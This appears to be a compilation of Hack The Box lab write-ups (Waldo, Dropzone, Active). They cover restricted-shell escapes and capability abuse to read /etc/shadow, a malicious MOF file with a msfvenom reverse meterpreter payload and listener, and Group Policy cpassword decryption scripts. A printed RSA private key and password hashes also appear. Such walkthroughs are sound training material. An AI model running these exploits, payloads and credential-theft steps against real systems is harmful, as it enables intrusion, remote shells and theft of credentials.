    vi93Daq3bZ3dhIIWaWafmqzg+jSThSWOIwR73wIDAQABAoIBADHwl/wdmuPEW6kU
    vmzhRU3gcjuzwBET0TNejbL/KxNWXr9B2I0dHWfg8Ijw1Lcu29nv8b+ehGp+bR/6
    pKHMFp66350xylNSQishHIRMOSpydgQvst4kbCp5vbTTdgC7RZF+EqzYEQfDrKW5
    8KUNptTmnWWLPYyJLsjMsrsN4bqyT3vrkTykJ9iGU2RrKGxrndCAC9exgruevj3q
    1h+7o8kGEpmKnEOgUgEJrN69hxYHfbeJ0Wlll8Wort9yummox/05qoOBL4kQxUM7
    VxI2Ywu46+QTzTMeOKJoyLCGLyxDkg5ONdfDPBW3w8O6UlVfkv467M3ZB5ye8GeS
    dVa3yLECgYEA7jk51MvUGSIFF6GkXsNb/w2cZGe9TiXBWUqWEEig0bmQQVx2ZWWO
    v0og0X/iROXAcp6Z9WGpIc6FhVgJd/4bNlTR+A/lWQwFt1b6l03xdsyaIyIWi9xr
    xsb2sLNWP56A/5TWTpOkfDbGCQrqHvukWSHlYFOzgQa0ZtMnV71ykH0CgYEAwSSY
    qFfdAWrvVZjp26Yf/jnZavLCAC5hmho7eX5isCVcX86MHqpEYAFCecZN2dFFoPqI
    yzHzgb9N6Z01YUEKqrknO3tA6JYJ9ojaMF8GZWvUtPzN41ksnD4MwETBEd4bUaH1
    /pAcw/+/oYsh4BwkKnVHkNw36c+WmNoaX1FWqIsCgYBYw/IMnLa3drm3CIAa32iU
    LRotP4qGaAMXpncsMiPage6CrFVhiuoZ1SFNbv189q8zBm4PxQgklLOj8B33HDQ/
    lnN2n1WyTIyEuGA/qMdkoPB+TuFf1A5EzzZ0uR5WLlWa5nbEaLdNoYtBK1P5n4Kp
    w7uYnRex6DGobt2mD+10cQKBgGVQlyune20k9QsHvZTU3e9z1RL+6LlDmztFC3G9
    1HLmBkDTjjj/xAJAZuiOF4Rs/INnKJ6+QygKfApRxxCPF9NacLQJAZGAMxW50AqT
    rj1BhUCzZCUgQABtpC6vYj/HLLlzpiC05AIEhDdvToPK/0WuY64fds0VccAYmMDr
    X/PlAoGAS6UhbCm5TWZhtL/hdprOfar3QkXwZ5xvaykB90XgIps5CwUGCCsvwQf2
    DvVny8gKbM/OenwHnTlwRTEj5qdeAM40oj/mwCDc6kpV1lJXrW2R5mCH9zgbNFla
    W0iKCBUAm5xZgU/YskMsCBMNmA8A5ndRWGFEFE+VGDVPaRie0ro=
    -----END RSA PRIVATE KEY-----
    

SSH Access as nobody

Now with an ssh key, I can get a shell on Waldo as nobody:

root@kali:~# ssh -i id_rsa_waldo_nobody nobody@10.10.10.87
Welcome to Alpine!

The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <http://wiki.alpinelinux.org>.
waldo:~$ id
uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)

This gives me access to user.txt:

waldo:~$ wc -c user.txt
33 user.txt
waldo:~$ cat user.txt
327******d24

Privesc / Pivot: nobody -> monitor

Discovery

The next step involves noticing a bunch of things that are acting weird and some experimentation (or, if you’re on free, noticing in the process list that someone else has already sshed into localhost as monitor).

  • The private key I found was named .monitor. I used it with nobody, but it didn’t have that name in it.
  • monitor isn’t a user on this host.
  • ssh on this box is configured to listen on 8888. When I tried to talk to 8888 from the attacker box, it hangs (remember the filtered return from the original nmap). But here’s the interesting parts from the ssh config:
    monitor@waldo:/$ grep -e "Port " -e AllowUser  /etc/ssh/sshd_config
    #Port 22
    AllowUsers monitor
    
  • I still see the host listening on 22 and 8888:
    waldo:~$ netstat -pant
    netstat: can't scan /proc - are you root?
    Active Internet connections (servers and established)
    Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
    tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
    tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
    tcp        0      0 0.0.0.0:8888            0.0.0.0:*               LISTEN      -
    tcp        0      0 127.0.0.1:9000          0.0.0.0:*               LISTEN      -
    tcp        0      0 127.0.0.1:44626         127.0.0.1:22            TIME_WAIT   -
    tcp        0      0 10.10.10.87:8888        10.10.14.19:58580       ESTABLISHED -
    tcp        0      0 10.10.10.87:52772       10.10.10.87:22          TIME_WAIT   -
    tcp        0      0 :::80                   :::*                    LISTEN      -
    tcp        0      0 :::22                   :::*                    LISTEN      -
    tcp        0      0 :::8888                 :::*                    LISTEN      -
    

My theory at this point is that I’m in a container, and that the host is forwarding post 22 from the outside to port 8888 on the container. But the host is also still listening on port 22 for itself.

Restricted Shell

If I try sshing as monitor to localhost, I get a new shell, and a new host! (And a huge ascii art banner!):

waldo:~$  ssh -i /home/nobody/.ssh/.monitor monitor@localhost
Linux waldo 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1 (2018-04-29) x86_64
           &.                                                                  
                      @@@,@@/ %                                                            
                     #*/%@@@@/.&@@,                                                          
                    @@@#@@#&@#&#&@@@,*%/                                                        
                 /@@@&###########@@&*(*                                                      
              (@################%@@@@@.     /**                                             
 `           @@@@&#############%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%((/                               
            @@%##%@@/@@@%/@@@@@@@@@#,,,,.../@@@@@%#%&@@@@(&@&@&@@@@(           
            .@@&##@@,,/@@@@&(.  .&@@@&,,,.&@@/         #@@%@@@@@&@@@/          
           *@@@@@&@@.*@@@          %@@@*,&@@            *@@@@@&.#/,@/          
          *@@&*#@@@@@@@&     #@(    .@@@@@@&    ,@@@,    @@@@@(,@/@@           
          *@@/@#.#@@@@@/    %@@@,   .@@&%@@@     &@&     @@*@@*(@@#            
           (@@/@,,@@&@@@            &@@,,(@@&          .@@%/@@,@@              
             /@@@*,@@,@@@*         @@@,,,,,@@@@.     *@@@%,@@**@#              
               %@@.%@&,(@@@@,  /&@@@@,,,,,,,%@@@@@@@@@@%,,*@@,#@,              
                ,@@,&@,,,,(@@@@@@@(,,,,,.,,,,,,,,**,,,,,,.*@/,&@               
                 &@,*@@.,,,,,..,,,,&@@%/**/@@*,,,,,&(.,,,.@@,,@@               
                 /@%,&@/,,,,/@%,,,,,*&@@@@@#.,,,,,.@@@(,,(@@@@@(               
                  @@*,@@,,,#@@@&*..,,,,,,,,,,,,/@@@@,*(,,&@/#*                 
                  *@@@@@(,,@*,%@@@@@@@&&#%@@@@@@@/,,,,,,,@@                    
                       @@*,,,,,,,,,.*/(//*,..,,,,,,,,,,,&@,                    
                        @@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@                     
                        &@&,,,,,,,,,,,,,,,,,,,,,,,,,,,,&@#                     
                         %@(,,,,,,,,,,,,,,,,,,,,,,,,,,,@@                      
                         ,@@,,,,,,,,@@@&&&%&@,,,,,..,,@@,                      
                          *@@,,,,,,,.,****,..,,,,,,,,&@@                       
                           (@(,,,.,,,,,,,,,,,,,,.,,,/@@                        
                           .@@,,,,,,,,,,,,,...,,,,,,@@                         
                            ,@@@,,,,,,,,,,,,,,,,.(@@@                          
                              %@@@@&(,,,,*(#&@@@@@@,     
                              
                            Here's Waldo, where's root?
Last login: Wed Dec 19 08:19:51 2018 from 127.0.0.1
-rbash: alias: command not found

And it’s a quite restricted shell:

monitor@waldo:~$ cd /
-rbash: cd: restricted

monitor@waldo:~$ echo $PATH
/home/monitor/bin:/home/monitor/app-dev:/home/monitor/app-dev/v0.1

I can’t change directory. There’s a bin dir with ls and 3 text editors, which is basically the only commands I can run.

monitor@waldo:~$ ls bin/
ls  most  red  rnano

There’s also this app-dev directory (more on that later).

Escape

I found 2 ways to escape from the restricted shell.

What Sets the Shell

The rbash environment I’m given is set in two places. First, if i look in /etc/passwdfor the monitor user, I’ll see its shell is set to rbash:

monitor@waldo:~$ grep monitor /etc/passwd
monitor:x:1001:1001:User for editing source and monitoring logs,,,:/home/monitor:/bin/rbash

rbash will restrict my use of cd, changing the path, and calling programs outside my given path. Then, the path is set on the last line of the .bashrc file, which is sourced at shell creation time:

monitor@waldo:~$ tail -1 .bashrc
PATH=/home/monitor/bin:/home/monitor/app-dev:/home/monitor/app-dev/v0.1

In both escapes that follow, once I’m able to get a different shell, I’m able to change the path, and I’ve completely escaped.

Intended Route: red

In the bin dir, I’ll find a few editors:

monitor@waldo:~$ ls -l bin
total 0
lrwxrwxrwx 1 root root  7 May  3  2018 ls -> /bin/ls
lrwxrwxrwx 1 root root 13 May  3  2018 most -> /usr/bin/most
lrwxrwxrwx 1 root root  7 May  3  2018 red -> /bin/ed
lrwxrwxrwx 1 root root  9 May  3  2018 rnano -> /bin/nano

For each editor, they link back to the normal versions. Sometimes there’s an r in front of the name (to imply restricted). Neither nano nor most have any ability to run shell commands.

red is the name for the restricted version of ed, that doesn’t allow you to call system commands from inside it, for example. But this red just links back to unrestricted ed, not to an instance of red.

To escape rbash via ed, I’ll take advantage of ed’s ability to run shell commands. From the edman page:

!command

Executes command via sh(1). If the first character of command is ‘!’, then it is replaced by text of the previous ‘!command’ed does not process command for backslash () escapes. However, an unescaped ’%’ is replaced by the default filename. When the shell returns from execution, a ‘!’ is printed to the standard output. The current line is unchanged.

So, I can just open ed, type !/bin/sh, and have a full shell:

monitor@waldo:~$ red
!/bin/sh
$ pwd
/home/monitor
$ cd /
$ ls
bin  boot  dev  etc  home  initrd.img  initrd.img.old  lib  lib64  lost+found  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var  vmlinuz  vmlinuz.old

I’ll need to set the path to something more reasonable, but that’s easy enough outside of rbash:

monitor@waldo:/$ export PATH=/root/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Unintended Route: ssh -t

The PATH is missing several entries and it is not possible to specify absolute paths. As the gnu.org article below on “The Restricted Shell” states, it is not possible to set the PATH variable in rbash.
https://www.gnu.org/software/bash/manual/html_node/The-Restricted-Shell.html
Fortunately, the SSH “-t” switch allows a tty to be forced for the login, which will bypass rbash.
After exiting the current restricted shell, the command below is executed.

waldo:~$ ssh -i /home/nobody/.ssh/.monitor monitor@localhost -t bash
monitor@waldo:~$ cd /
monitor@waldo:/$ id
bash: id: command not found
monitor@waldo:/$ export PATH=/root/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
monitor@waldo:/$ id
uid=1001(monitor) gid=1001(monitor) groups=1001(monitor)

On the free servers, which had a lot of users going at once, this way was often given away because it shows up in the process list of the container, so once someone figured it out, it was obviously there for others to grab and use.

Privesc: Full Disk Read as root

Enumeration of the home directory reveals various binaries and “logMonitor-0.1” seems interesting as it might have been conferred privileges in order to read log files. However, the SETUID bit has not been set.
A less well-known technique of allowing binaries to run with elevated privileges are Linux Capabilities. The Post “Linux Capabilities – A friend and foe” by m0noc provides a good overview of this subject.
https://blog.m0noc.com/2016/05/linux-capabilities-friend-and-foe.html
A check for assigned capabilities can be performed with the getcap utility

Capabilities

Linux has a concept of capabilities, which allow you to assign a program rights to do certain things typically reserved for root. So, for example, the CAP_NET_BIND_SERVICE capability allows a program not running as root to bind to a port under 1024.

If I look at this program, using getcap, I’ll see it has a capability assigned:

monitor@waldo:/$ getcap -r * 2>/dev/null
home/monitor/app-dev/v0.1/logMonitor-0.1 = cap_dac_read_search+ei
usr/bin/tac = cap_dac_read_search+ei

CAP_DAC_READ_SEARCH allows the program to bypass file and directory read permission checks. Neat.

the +ei means that the capability is:

  • (e)ffective – used by the kernel to perform permission checks
  • (i) inheritable – preserved across execve or fork calls

tac

tac is just reverse cat, as it in prints contents of files to stdout, but last line first.

With tac, I can get the root flag:

monitor@waldo:~/app-dev$ tac /root/root.txt
8fb*****f6c

If I wanted to read other files with more than one line, just tac twice:

monitor@waldo:/$ tac /etc/shadow | tac
root:$6$tRIbOmog$v7fPb8FKIT0QryKrm7RstojMs.ZXi4xxHz2Uix9lsw52eWtsURc9dwWMOyt4Gpd6QLtVtDnU1NO5KE5gF48r8.:17654:0:99999:7:::
daemon:*:17653:0:99999:7:::
--snip--
steve:$6$MmXo3me9$zPPUertAwnJYQM8GUya1rzCTKGr/AHtjSG2n3faSeupCCBjoaknUz2YUDStZtvUGWuXonFqXKZF8pXCkezJ.Q.:17653:0:99999:7:::
monitor:$6$IXQ7fATd$RsOewky58ltAbfdjYBHFk9/q5bRcUplLnM9ZHKknVB46smsKn4msCOXDpyYU6xw43rGqJl5fG3sMmEaKhJAJt/:17654:0:99999:7:::
app-dev:$6$RQ4VUGfn$6WYq54MO9AvNFMW.FCRekOBPYJXuI02AqR5lYlwN5/eylTlTWmHlLLvJ4FDp4Nt0A/AX2b3zdrvyEfwf8vSh3/:17654:0:99999:7:::

No root Shell, below ssh-tunnel explained

root@kali:~/htb/waldo# ssh -L8023:127.0.0.1:22 -i priv nobody@10.10.10.87
Welcome to Alpine!

The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <http://wiki.alpinelinux.org>.
waldo:~$
root@kali:~# netstat -alnp | grep 8023
tcp 0 0 127.0.0.1:8023 0.0.0.0:* LISTEN 2507/ssh 
tcp6 0 0 ::1:8023 :::* LISTEN 2507/ssh 
root@kali:~# nc localhost 8023
SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u3
^C
root@kali:~# nc 10.10.10.87 22
SSH-2.0-OpenSSH_7.5
^C
root@kali:~/htb/waldo# ssh -p8023 -i priv monitor@localhost bash
id  
uid=1001(monitor) gid=1001(monitor) groups=1001(monitor)
python3 -c "import pty; pty.spawn('/bin/bash')"
monitor@waldo:~$ pwd
pwd
/home/monitor

Author: Jacco Straathof

HTB – Dropzone

Today we are going to solve another CTF challenge “Dropzone”. Dropzone is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.

Level: Medium

Task: To find user.txt and root.txt file

Let’s start off with nmap command to find out the open ports and services.

Nmap – udp

PORT   STATE SERVICE VERSION
69/udp open  tftp    SolarWinds Free tftpd

Initial Access

Managed Object Format

There weren’t a whole lot of options for a way forward on this box. We were limited to a single UDP port with the ability to read from / write to the filesystem. The key was to leverage that limited capability into RCE. Enter Managed Object Format (MOF) files.

There is an excellent write-up on MOF files and how they were used by Stuxnet here. If the topic is new to you, please take a look there. Any explanation of mine will pale in comparison. When reading through that write-up, you’ll notice that Windows XP exhibits some interesting behavior regarding MOF files and Windows Management Instrumentation (WMI).

  • MOF files loaded into C:\windows\system32\wbem\mof are auto compiled and registered into the WMI repository
  • Registered MOF consumers run with SYSTEM privileges

These two things together are a good indicator of the way forward, given our current situation. However, it would be good if we could confirm that we’re actually dealing with a Windows XP machine before proceeding.

EULA.txt

Because we can only read from the filesystem via tftp, we can check the Windows version and service pack by grabbing the End-User License Agreement. There are two places to check for this (that vary based on version).

On Windows XP it’s found at C:\windows\system32\eula.txt.

Windows 7 stores the EULA at C:\Windows\System32\license.rtf.

We can use our current access to grab the EULA and verify that we’re dealing with Windows XP.

tftp
connect 10.10.10.90
verbose
get windows/system32/eula.txt
/root/htb/dropzone/eula.txt
════════════════════════════
END-USER LICENSE AGREEMENT FOR MICROSOFT 
SOFTWARE

MICROSOFT WINDOWS XP PROFESSIONAL EDITION 
SERVICE PACK 3

IMPORTANT-READ CAREFULLY: This End-User 
License Agreement ('EULA') is a legal 
-------------8<-------------

Now we know that we’re dealing with Windows XP SP 3 and can move forward with our malicious MOF plan.

Creating a MOF File

To generate a malicious MOF file, I pored over blog posts. I read through Microsoft developer docs. I altered, tweaked, uploaded, and failed. Many times. Though, while researching, I found an interesting file in the metasploit framework, wbemexec.rb. This file was the golden ticket for me.

I tell you about my failures, because in the end, I cheesed it. The file linked above contains a function called generate_mof. I took the template MOF it kept for use inside MSF and replaced code in the same places that metasploit would in order to generate a final payload.

The code below is my final puckie.mof. I really only had to change the name of the class and the executeable to run as shown in the highlighted code below.

#pragma namespace("\\\\.\\root\\cimv2")
class StuffAndThings
{
	[key] string Name;
};
class ActiveScriptEventConsumer : __EventConsumer
{
 	[key] string Name;
  	[not_null] string ScriptingEngine;
  	string ScriptFileName;
  	[template] string ScriptText;
  uint32 KillTimeout;
};
instance of __Win32Provider as $P
{
    Name  = "ActiveScriptEventConsumer";
    CLSID = "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
    PerUserInitialization = TRUE;
};
instance of __EventConsumerProviderRegistration
{
  Provider = $P;
  ConsumerClassNames = {"ActiveScriptEventConsumer"};
};
Instance of ActiveScriptEventConsumer as $cons
{
  Name = "ASEC";
  ScriptingEngine = "JScript";
  ScriptText = "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"C:\\puckie.exe\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"StuffAndThings\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};";
};
instance of __EventFilter as $Filt
{
  Name = "instfilt";
  Query = "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"StuffAndThings\"";
  QueryLanguage = "WQL";
};

instance of __FilterToConsumerBinding as $bind
{
  Consumer = $cons;
  Filter = $Filt;
};

instance of StuffAndThings as $MyClass
{
  Name = "ClassConsumer";
};
Callback Setup

Before we register our MOF file, we need to create the puckie executable, get it onto the box, and start a listener.

c:\PENTEST>c:\windows\Microsoft.NET\Framework\v3.5\csc.exe /t:exe /out:Simple_Rev_Shell443.exe Simple_Rev_Shell443.cs
Microsoft (R) Visual C# 2008 Compiler version 3.5.30729.8931
for Microsoft (R) .NET Framework version 3.5
Copyright (C) Microsoft Corporation. All rights reserved.

Simple_Rev_Shell443.cs(64,34): warning CS0168: The variable ‘err’ is declared but never used

puckie.exe

We can use msfvenom to generate a quick meterpreter executable.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=12345 -o puckie.exe -f exe

A quick tftp will get puckie.exe in place.

tftp
tftp> connect 10.10.10.90
tftp> binary
tftp> verbose
Verbose mode on.
tftp> put puckie.exe
putting puckie.exe to 10.10.10.90:puckie.exe [octet]
Sent 73802 bytes in 10.0 seconds [59042 bits/sec]

dropzone.msf

I don’t use msfconsole very often, but if I do, I like to have the steps I take within it be easily repeatable. I do this by capturing the steps in a resource file. That resource file can then be used to quickly spin up a listener for this box.

/root/htb/dropzone/dropzone.msf
════════════════════════════
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost tun0
set lport 12345
exploit -j 
msfconsole -r dropzone.msf

[*] Processing dropzone.msf for ERB directives.
resource (dropzone.msf)> use multi/handler
resource (dropzone.msf)> set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
resource (dropzone.msf)> set lhost tun0
lhost => tun0
resource (dropzone.msf)> set lport 12345
lport => 12345
resource (dropzone.msf)> exploit -j
[*] Exploit running as background job 0.

[*] Started reverse TCP handler on 10.10.14.13:12345 

MOF Upload

With all the necessary pieces in place, we can upload our MOF file to the box. Recall the path to the folder where MOF files are automatically compiled is C:\windows\system32\wbem\mof. We’ll reuse our tftp connection to drop our MOF file there in the hopes that we receive a callback.

tftp> put puckie.mof windows/system32/wbem/mof/puckie.mof
putting puckie.mof to 10.10.10.90:windows/system32/wbem/mof/puckie.mof [octet]
Sent 1378 bytes in 0.3 seconds [36747 bits/sec]

Almost instantly, we get a callback.

[*] Sending stage (179779 bytes) to 10.10.10.90
[*] Meterpreter session 1 opened (10.10.14.13:12345 -> 10.10.10.90:1986) at 2018-12-18 20:11:16 -0500

SYSTEM to Flags

root.txt

It seems that the creators felt that dropping onto a box as SYSTEM was a little too easy because where we would normally see root.txt, we are instead greeted with this message.

C:\docume~1\administrator\desktop\root.txt
════════════════════════════
It's easy, but not THAT easy...

2 for the price of 1!.txt

Also on the desktop, there is a folder named flags. Inside there is a file named 2 for the price of 1!.txt. Here are the contents.

C:\docume~1\administrator\desktop\flags\2 for the price of 1!.txt
════════════════════════════
For limited time only!

Keep an eye on our ADS for new offers & discounts!

Alternate Data Streams

The ADS in the file above is a pretty strong hint pointing us toward alternate data streams. Luckily for us, there is a great sysinternals tool streams.exe that is made specifically for examining alternate data streams. Let’s get it on target and see what there is to see.

meterpreter > upload /usr/share/windows-binaries/streams.exe
C:\> streams.exe -accepteula -s C:\docume~1\administrator\desktop\flags
Streams v1.56 - Enumerate alternate NTFS data streams
Copyright (C) 1999-2007 Mark Russinovich
Sysinternals - www.sysinternals.com

C:\docume~1\administrator\desktop\flags\2 for the price of 1!.txt:
   :root_txt_331...:$DATA	5
   :user_txt_a6a...:$DATA	5

I hope you enjoyed this write-up.

HTB – Active

Today we are going to solve another CTF challenge “Active”. Active is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.

Level: Easy

Task: To find user.txt and root.txt file

Let’s start off with  nmap command to find out the open ports and services.

 

As you can observe from Nmap scanning result, there are so many open ports along with their running services, the OS is Microsoft Windows server 2008:r2:sp1 and you can also read the domain name “active.htb”.

Enumeration

root@kali:~/htb/active# smbclient -L //10.10.10.100
Enter WORKGROUP\root's password: 
Anonymous login successful

Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share 
Replication Disk 
SYSVOL Disk Logon server share 
Users Disk 
Reconnecting with SMB1 for workgroup listing.
Connection to 10.10.10.100 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Failed to connect with SMB1 -- no workgroup available

Then I try to access /Replication with the help smbclient and run the following command to access this directory via anonymous account:

root@kali:~/htb/active# smbmap -H 10.10.10.100
[+] Finding open SMB ports....
[+] User SMB session establishd on 10.10.10.100...
[+] IP: 10.10.10.100:445 Name: 10.10.10.100 
Disk Permissions
---- -----------
ADMIN$ NO ACCESS
C$ NO ACCESS
IPC$ NO ACCESS
NETLOGON NO ACCESS
Replication READ ONLY
SYSVOL NO ACCESS
Users NO ACCESS
root@kali:~/htb/active# smbclient //10.10.10.100/Replication
Enter WORKGROUP\root's password: 
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\GPT.INI of size 23 as GPT.INI (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Group Policy\GPE.INI of size 119 as GPE.INI (1.0 KiloBytes/sec) (average 0.6 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf of size 1098 as GptTmpl.inf (9.8 KiloBytes/sec) (average 3.7 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml of size 533 as Groups.xml (4.2 KiloBytes/sec) (average 3.8 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Registry.pol of size 2788 as Registry.pol (25.2 KiloBytes/sec) (average 7.9 KiloBytes/sec)
getting file \active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\GPT.INI of size 22 as GPT.INI (0.2 KiloBytes/sec) (average 6.7 KiloBytes/sec)
getting file \active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf of size 3722 as GptTmpl.inf (26.7 KiloBytes/sec) (average 10.1 KiloBytes/sec)
smb: \> SMBecho failed (NT_STATUS_CONNECTION_RESET). The connection is disconnected now
root@kali:~/htb/active# smbmap -R Replication -H 10.10.10.100 -A Groups.xml -q
[+] Finding open SMB ports....
[+] User SMB session establishd on 10.10.10.100...
[+] IP: 10.10.10.100:445 Name: 10.10.10.100 
Disk Permissions
---- -----------
Replication READ ONLY
[+] Starting search for files matching 'Groups.xml' on share Replication.
[+] Match found! Downloading: Replication\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml
root@kali:~/htb/active# locate Groups.xml
/usr/share/smbmap/10.10.10.100-Replication_active.htb_Policies_{31B2F340-016D-11D2-945F-00C04FB984F9}_MACHINE_Preferences_Groups_Groups.xml
root@kali:~/htb/active# cat /usr/share/smbmap/10.10.10.100-Replication_active.htb_Policies_{31B2F340-016D-11D2-945F-00C04FB984F9}_MACHINE_Preferences_Groups_Groups.xml
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>
root@kali:/usr/share/smbmap# cat Gpprefdecrypt.py 
#!/usr/bin/python
#
# Gpprefdecrypt - Decrypt the password of local users added via Windows 2008 Group Policy Preferences.
#
# This tool decrypts the cpassword attribute value embedded in the Groups.xml file stored in the domain controller's Sysvol share.
#

import sys
from Crypto.Cipher import AES
from base64 import b64decode

if(len(sys.argv) != 2):
print "Usage: gpprefdecrypt.py <cpassword>"
sys.exit(0)

# Init the key
# From MSDN: http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2
key = """
4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8
f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b
""".replace(" ","").replace("\n","").decode('hex')

# Add padding to the base64 string and decode it
cpassword = sys.argv[1]
cpassword += "=" * ((4 - len(sys.argv[1]) % 4) % 4)
password = b64decode(cpassword)

# Decrypt the password
o = AES.new(key, AES.MODE_CBC, "\x00" * 16).decrypt(password)

# Print it
print o[:-ord(o[-1])].decode('utf16')
Let’s decrypt the cpassword attribute
root@kali:/usr/share/smbmap# python gpppdecrypt.py edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
GPPstillStandingStrong2k18

Or let’s use PowerShell (code extracted from powersploit) to decrypt

function Get-DecryptedCpassword {
[CmdletBinding()]
Param (
[string] $Cpassword 
)

try {
#Append appropriate padding based on string length 
$Mod = ($Cpassword.length % 4)

switch ($Mod) {
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
'2' {$Cpassword += ('=' * (4 - $Mod))}
'3' {$Cpassword += ('=' * (4 - $Mod))}
}

$Base64Decoded = [Convert]::FromBase64String($Cpassword)

#Create a new AES .NET Crypto Object
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)

#Set IV to all nulls to prevent dynamic generation of IV value
$AesIV = New-Object Byte[]($AesObject.IV.Length) 
$AesObject.IV = $AesIV
$AesObject.Key = $AesKey
$DecryptorObject = $AesObject.CreateDecryptor() 
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)

Write-Host $OutBlock # <----- Only had to add this line
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
} 

catch {Write-Error $Error[0]}
}
PS C:\PENTEST> Import-Module .\Get-DecryptedCpassword.ps1

PS C:\PENTEST> Get-DecryptedCpassword "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"
71 0 80 0 80 0 115 0 116 0 105 0 108 0 108 0 83 0 116 0 97 0 110 0 100 0 105 0 110 0 103 0 83 0 116 0 114 0 111 0 110 0 103 0 50 0 107 0 49 0 56 0
GPPstillStandingStrong2k18

PS C:\PENTEST>

Access Victim’s Shell via SMB connect and Privilege Escalation

In nmap scanning result we saw port 88 was open for Kerberos, hence their much be some Service Principal Names (SPN) that are associated with normal user account. Therefore we downloaded and install impacket from Github for using its python class GetUserSPN.py

root@kali:~/htb/active# python GetADUsers.py -all -dc-ip 10.10.10.100 active.htb/svc_tgs
Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies

Password:
[*] Querying 10.10.10.100 for information about domain.
Name Email PasswordLastSet LastLogon 
-------------------- ------------------------------ ------------------- -------------------
Administrator 2018-07-18 15:06:40 2018-07-30 13:17:40 
Guest <never> <never> 
krbtgt 2018-07-18 14:50:36 <never> 
SVC_TGS 2018-07-18 16:14:38 2018-12-10 01:17:54 

root@kali:~/htb/active# python psexec.py active.htb/svc_tgs@10.10.10.100
Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies

Password:
[*] Requesting shares on 10.10.10.100.....
[-] share 'ADMIN$' is not writable.
[-] share 'C$' is not writable.
[-] share 'NETLOGON' is not writable.
[-] share 'Replication' is not writable.
[-] share 'SYSVOL' is not writable.
[-] share 'Users' is not writable.
